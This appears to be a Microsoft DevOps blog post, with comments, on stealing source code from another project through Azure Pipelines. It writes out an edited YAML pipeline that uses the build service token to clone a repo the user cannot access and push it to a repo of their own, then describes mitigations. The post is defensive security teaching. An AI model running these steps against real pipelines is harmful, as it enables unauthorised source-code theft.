August 25th, 2020

Let’s Hack a Pipeline: Stealing Another Repo

Matt Cooper
(formerly) Staff Product Manager

We’re back with another Let’s Hack a Pipeline. Last time, we saw how to create – and prevent – argument injection. In this episode, we’ll look at how a malicious user could access source code they shouldn’t see. Welcome to Episode II: Stealing Another Repo. (Episode III is now available, too!)

As I said before: security is a shared responsibility. The purpose of this series is to showcase some pitfalls to help you avoid them. I can’t possibly cover every single angle, and examples have been simplified to make the point.

The setup

In a large company, there are probably some code repos I’m not allowed to see. Even inside Microsoft, which has a pretty open culture, someone from Game Studio A usually can’t see what Game Studio B is working on. But their build system can!

Let’s say we’ve got two team projects inside one Azure DevOps organization. Each of those projects has one or more Git repos. And let’s say I’m on the Popular FPS Game team, which has a daily CI pipeline for our upcoming release, “Popular FPS Game: Sequel”.

The fabrikam-game-studios organization has these objects:

  • Project: Popular FPS Game
    • Repo: popular-fps-game
    • Repo: popular-fps-game-sequel
    • Pipeline: sequel-ci
  • Project: Beautiful Racing Game
    • Repo: beautiful-racing-game
# sequel-ci.yml
pool: { vmImage: ubuntu-latest }

steps:
- script: |
    make game
    make test

The attack

I’m really curious what my colleagues on Beautiful Racing Game are working on. But I don’t have access to their source code. No problem, I’ll ask Azure Pipelines to get it for me.

I create a new branch in popular-fps-game-sequel and edit the pipeline:

# sequel-ci.yml, edited
pool: { vmImage: ubuntu-latest }

steps:
- script: |
    git clone -c http.extraheader="AUTHORIZATION: bearer $(System.AccessToken)" \
    https://fabrikam-game-studios@dev.azure.com/fabrikam-game-studios/beautiful-racing-game/_git/beautiful-racing-game

    cd beautiful-racing-game
    git remote add steal https://fabrikam-game-studios@dev.azure.com/fabrikam-game-studios/popular-fps-game-sequel/_git/stolen-source

    git push -c http.extraheader="AUTHORIZATION: bearer $(System.AccessToken)" -u steal --all

By queuing that pipeline (and creating an empty repo at stolen-source), I can peruse their code without restriction.

Why this works

When a pipeline is assigned to an agent, that agent needs to be able to fetch the source code. The server generates a token for the “build service identity”, an artificial identity created for this purpose. The identity has access to all repositories by default.

History

The build service identity was originally an org-wide concept (back in the TFVC days, this was called “collection scope”) and later gained a per-project version. In the above example, the pipeline is running with collection scope, so it can traverse across to another project.

Editing pipelines is powerful

The attacker was able to control an identity with more access than that user’s identity. With config-as-code, the ability to push code is suddenly equivalent to a lot more things. In this case, it grants the effectively “edit the pipeline”. And editing the pipeline means you can ask the Azure Pipelines system to do malicious things using its credentials.

Permissions like Create pipeline and Edit pipeline are more powerful than they seem at first glance. Build systems often have privileged access (so they can do their job), so you have to carefully consider who can command the build system.

Related hacks

An addition to this attack would include listing all repositories using the REST API. Going the opposite direction, someone from the Beautiful Racing Game team could list all the repos in popular-fps-game. They’d discover that Popular FPS Game is getting a sequel!

Mitigating repo stealing

Azure Pipelines has two controls which restrict what the build service identity can access.

Use project scope

Make pipelines run with project scope by turning on "Limit job authorization scope"

Make pipelines run with project scope by turning on “Limit job authorization scope”. While this can be enabled at the project level, that won’t protect a project’s resources from rogue pipelines in another project.

We recommend enabling this at the organization level. Also, we recommend treating the project as a single security boundary, rather than locking down individual repos.

Lock down what repositories can be seen

Limit what a pipeline can access by turning on "Limit job authorization scope to referenced Azure DevOps repositories"

Azure Pipelines can generate a token which only grants access to named repositories in Azure Repos. With this setting enabled, in order to access a repository, it must be mentioned in the resources section of the pipeline. When a new repository is added to a pipeline, Azure Pipelines will not automatically run the job. It’ll pause and await one-time authorization from someone who already has read access to the repository.

Review

The build service identities can have more access than a typical user. When a user is able to control the pipeline definition, that user can escalate their own privileges. Use the controls available in Azure Pipelines to prevent this attack.

Author

Matt Cooper
(formerly) Staff Product Manager

Previously Azure Pipelines, Repos, & Artifacts; Xbox; and Dynamics CRM. Proud Virginia Tech Hokie. Even prouder father of two, one typically-developing and the other with Down syndrome.

9 comments

Discussion is closed. Login to edit/delete existing comments.

  • Devon Britton

    I'm playing around with this, trying to replicate it in my local sandbox instance (AzureDevOps2019.Update1.1 - patch 3). I'm having some trouble though...

    I created 2 new projects and cloned some simple repos into them...but when I try and clone the "Target" repo back into my "Source" project I get the following errors...

    <code>

    Any assistance would be appreciated. Thanks.

    Read more
    • Matt CooperMicrosoft employee Author

      That’s strange on a couple of levels. The first error sounds like it can’t clone the repo, but then the second error makes it sound like you’ve already cloned the repo and added the additional remote. Maybe try adding workspace: { clean: all } to the pipeline so you get a fresh workspace each time?

      • Devon Britton

        Thanks Matt.

        Still getting the same error though.

        It strikes me as odd that it’s “cloning into” the Project that I actually want to steal the code from? Shouldn’t it be cloning “from” the target “into” the source?…unless I’m just missing the meaning there.

        Kind Regards.
        DB

      • Matt CooperMicrosoft employee Author

        Well, clone only pulls down the repo from the server to the local filesystem (in this case, on the agent).

        A thought occurred to me: there are actually 3 server-side repos in play here. There's (A) the repo you're supposed to have access to, (B) the repo you're not supposed to have access to, and (C) a third, empty one. You're using a pipeline attached to A to steal B and then push it up into...

        Read more
      • Devon Britton

        Hi Matt.

        Thanks for your help so far. Here's my structure...

        A) Repo I have access to - "SecuritySource"
        B) Repo I'm trying to steal from - "SecurityTarget"
        C) Repo I'm trying to push the code into - "stolen-source" which is in the same project as "SecuritySource"

        My yaml pipeline looks like this...

        <code>

        Read more
  • Enrique Ptacnik

    i love this types of mini-series, keep going 🙂

    • Matt CooperMicrosoft employee Author

      Thanks! There are a few more brewing, though I’m not sure when I’ll have time to complete them. Glad to know you enjoyed the series.

  • M .

    Really loving this series thank you.
    One thing that’s maybe missing is permission chat related to the above settings.
    What permission is that for allowing to edit those settings, presumably different from edit pipeline?

    • Matt CooperMicrosoft employee Author

      I believe it’s “Administer build resource permissions” (or another of the org-level, very-high-privilege permissions). I’ll see if I can get confirmation on that.

      Edit: it’s “Manage build resources” that you need.